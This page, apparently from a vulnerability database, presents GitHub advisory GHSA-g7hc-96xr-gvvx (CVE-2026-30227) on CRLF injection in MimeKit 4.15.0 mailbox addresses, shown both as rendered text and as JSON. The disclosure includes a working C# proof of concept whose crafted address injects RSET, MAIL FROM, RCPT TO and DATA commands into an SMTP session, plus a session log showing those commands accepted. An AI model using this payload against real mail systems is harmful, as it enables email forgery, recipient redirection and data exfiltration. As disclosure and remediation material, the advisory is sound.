GHSA-G7HC-96XR-GVVX

Vulnerability from github – Published: 2026-03-05 21:50 – Updated: 2026-03-06 22:52
VLAI
Summary
MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery
Details

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

  • MimeKit 4.15.0 (as tested)
  • MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
  • Accepts untrusted input for sender/recipient addresses, and
  • Constructs MailboxAddress from that input, and
  • Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment: - .NET SDK: 8.0.418 - Target Framework: net8.0 - Packages: MailKit 4.15.0 (with MimeKit 4.15.0) - Use ProtocolLogger to capture the SMTP session and confirm injection.

1) Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>
````

2. PoC program (replace SMTP host/port/address as needed):

```csharp
using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}
  1. Expected result

  2. MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.

  3. The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
  4. tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

  • Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
  • SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

  • SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
  • Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

  • Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

  • Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
  • Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
  • In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
  • Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

  • Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
  • Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.15.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "MimeKit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T21:50:44Z",
    "nvd_published_at": "2026-03-06T21:16:16Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed `\\r\\n` into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional `RCPT TO` / `DATA` / `RSET` commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a `MailboxAddress` (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.\n\nRFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside `Quoted-string` (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by `\u003cCRLF\u003e`, making CRLF injection in command arguments particularly dangerous.\n\n### Details\n\n#### 1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string\n\nRFC 5321 defines:\n\n```text\nmail = \"MAIL FROM:\" Reverse-path [SP Mail-parameters] CRLF\n\nReverse-path = Path / \"\u003c\u003e\"\nPath         = \"\u003c\" [ A-d-l \":\" ] Mailbox \"\u003e\"\nA-d-l        = At-domain *( \",\" At-domain )\nAt-domain    = \"@\" Domain\n\nMailbox         = Local-part \"@\" ( Domain / address-literal )\nLocal-part      = Dot-string / Quoted-string\n\nDot-string      = Atom *(\".\" Atom)\nAtom            = 1*atext\natext = ALPHA / DIGIT / \n        \"!\" / \"#\" / \"$\" / \"%\" / \"\u0026\" / \"\u0027\" / \"*\" / \"+\" / \"-\" / \"/\" / \n        \"=\" / \"?\" / \"^\" / \"_\" / \"`\" / \"{\" / \"|\" / \"}\" / \"~\"\n\n\nQuoted-string   = DQUOTE *QcontentSMTP DQUOTE\nQcontentSMTP    = qtextSMTP / quoted-pairSMTP\nquoted-pairSMTP = %d92 %d32-126\nqtextSMTP       = %d32-33 / %d35-91 / %d93-126\n```\n\nWhen the local part is a quoted string, the characters \u003cCR\u003e and \u003cLF\u003e are not allowed.\n\n#### 2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)\n\nIn the MimeKit 4.15.0 version, when parsing the local part, the \u003cCR\u003e and \u003cLF\u003e characters in the double-quoted form will not be detected.\nAs a result, `MailboxAddress` can accept addresses like `\"attacker\\r\\nRCPT TO:\u003cvictim@target\u003e\\r\\n\"@example.com` as a valid address.\n\n#### 3) Affected components / versions\n\n- MimeKit 4.15.0 (as tested)\n- MailKit 4.15.0 uses/depends on MimeKit 4.15.0\nAny application that:\n- Accepts untrusted input for sender/recipient addresses, and\n- Constructs `MailboxAddress` from that input, and\n- Sends via SMTP (e.g., using MailKit SmtpClient),\nmay be impacted.\n\n### PoC\n\nEnvironment:\n- .NET SDK: 8.0.418\n- Target Framework: net8.0\n- Packages: MailKit 4.15.0 (with MimeKit 4.15.0)\n- Use ProtocolLogger to capture the SMTP session and confirm injection.\n\n1) Create a minimal project:\n\nmimekit_poc.csproj\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n    \u003cNullable\u003eenable\u003c/Nullable\u003e\n  \u003c/PropertyGroup\u003e\n\n  \u003cItemGroup\u003e\n    \u003cPackageReference Include=\"MailKit\" Version=\"4.15.0\" /\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n````\n\n2. PoC program (replace SMTP host/port/address as needed):\n\n```csharp\nusing MailKit.Net.Smtp;\nusing MailKit.Security;\nusing MailKit;\nusing MimeKit;\n\n// === payload and target setting ===\n\nvar smtpHost = \"xx.xx.xx.xx\";\nvar smtpPort = 25;\nvar useTls = false;\n// attack in `MAIL FROM` cmd with address grammar in double quote \nvar payloadEvilMailFromInput = \"\\\"attack\\r\\nRSET\\r\\nMAIL FROM:\u003ckc1zs4@poc.send.com\u003e\\r\\nRCPT TO:\u003cxxx@xxx.xxx.xxx.xxx\u003e\\r\\nDATA\\r\\n.\\r\\nQUIT\\r\\nhere\\\"@poc.send.com\";\n// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt\nvar logDir = Path.Combine(AppContext.BaseDirectory, \"log\");\nDirectory.CreateDirectory(logDir);\nvar timestamp = DateTime.Now.ToString(\"yyyyMMdd_HHmmss_fff\");\nvar logPath = Path.Combine(logDir, $\"smtp_log_{timestamp}\");\n\n\n// === below smtp session ===\n// mimekit api\n\nvar envelopeFrom = new MailboxAddress(\"\", payloadEvilMailFromInput);\nvar envelopeRcpt = new MailboxAddress(\"\", \"\\\"kc1zs4\\\"@poc.recv.com\");\nvar headerFrom = new MailboxAddress(\"Sender\", \"kc1zs4@poc.send.com\");\nvar headerTo = new MailboxAddress(\"Recipient\", \"kc1zs4@poc.recv.com\");\n\nvar message = new MimeMessage();\nmessage.From.Add(headerFrom);\nmessage.To.Add(headerTo);\nmessage.Subject = \"mimekit CRLF injection poc\";\nmessage.Body = new TextPart(\"plain\") { Text = \"Hello from MimeKit 4.15.0\" };\n\ntry {\n    using var protocolLogger = new ProtocolLogger(logPath);\n    using var client = new SmtpClient(protocolLogger);\n\n    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;\n    client.Connect(smtpHost, smtpPort, socketOption);\n\n    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });\n    client.Disconnect(true);\n\n    Console.WriteLine(\"[+] successfully send mail\");\n    Console.WriteLine($\"[+] view smtp session log at: {logPath}\");\n\n} catch (SmtpCommandException ex) {\n\n    Console.Error.WriteLine($\"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n\n} catch (SmtpProtocolException ex) {\n\n    Console.Error.WriteLine($\"[!] smtp protocol err: {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n\n} catch (Exception ex) {\n\n    Console.Error.WriteLine($\"[!] unknown err: {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n}\n```\n\n3. Expected result\n\n* `MailboxAddress` accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.\n* The generated SMTP session (captured by ProtocolLogger) shows the `MAIL FROM` line being split by the injected CRLF, followed by attacker-controlled SMTP commands.\n* `tcpdump` also shows the same raw SMTP stream (optional confirmation).\n\nExample (illustrative) excerpt from smtp session log showing the CRLF injection effect:\n\n```txt\nConnected to smtp://xxx.xxx.xxx.xxx:25/\nS: 220 xxx Axigen ESMTP ready\nC: EHLO KC1zs4-TPt14p\nS: 250-xxx Axigen ESMTP hello\nS: 250-PIPELINING\nS: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI\nS: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI\nS: 250-8BITMIME\nS: 250-SIZE 10485760\nS: 250-HELP\nS: 250 OK\nC: MAIL FROM:\u003c\"attack\nC: RSET\nC: MAIL FROM:\u003ckc1zs4@poc.send.com\u003e\nC: RCPT TO:\u003cxxx@xxx.xxx.xxx.xxx\u003e\nC: DATA\nC: .\nC: QUIT\nC: here\"@poc.send.com\u003e SIZE=293\nC: RCPT TO:\u003c\"kc1zs4\"@poc.recv.com\u003e\nS: 553 Invalid mail address\nS: 250 Reset done\nS: 250 Sender accepted\nS: 250 Recipient accepted\nS: 354 Ready to receive data; remember \u003cCRLF\u003e.\u003cCRLF\u003e\nS: 250 Mail queued for delivery\nS: 221-xxx Axigen ESMTP is closing connection\nS: 221 Good bye\nC: RSET\n```\n\nNotes:\n\n* Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via `MailboxAddress`) is sufficient to demonstrate the vulnerability class and protocol non-compliance.\n* SMTP commands are terminated by `\u003cCRLF\u003e`, so CRLF-in-argument is structurally hazardous by design.\n\n### Impact\n\nVulnerability class:\n\n* SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).\n* Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).\n\nWho is impacted:\n\n* Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied \u201cFrom\u201d address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).\n\nPotential consequences:\n\n* Add or modify SMTP recipients by injecting extra `RCPT TO` commands (mail redirection / data exfiltration).\n* Corrupt the SMTP transaction state (`RSET`, `NOOP`, etc.) or attempt early `DATA` injection (server-dependent).\n* In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).\n* Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.\n\nSuggested remediation (high level):\n\n* Reject `\\r` and `\\n` in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.\n* Align quoted local-part parsing with RFC 5321\u2019s `qtextSMTP` and `quoted-pairSMTP` ranges (no control characters).",
  "id": "GHSA-g7hc-96xr-gvvx",
  "modified": "2026-03-06T22:52:51Z",
  "published": "2026-03-05T21:50:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jstedfast/MimeKit/security/advisories/GHSA-g7hc-96xr-gvvx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30227"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jstedfast/MimeKit"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…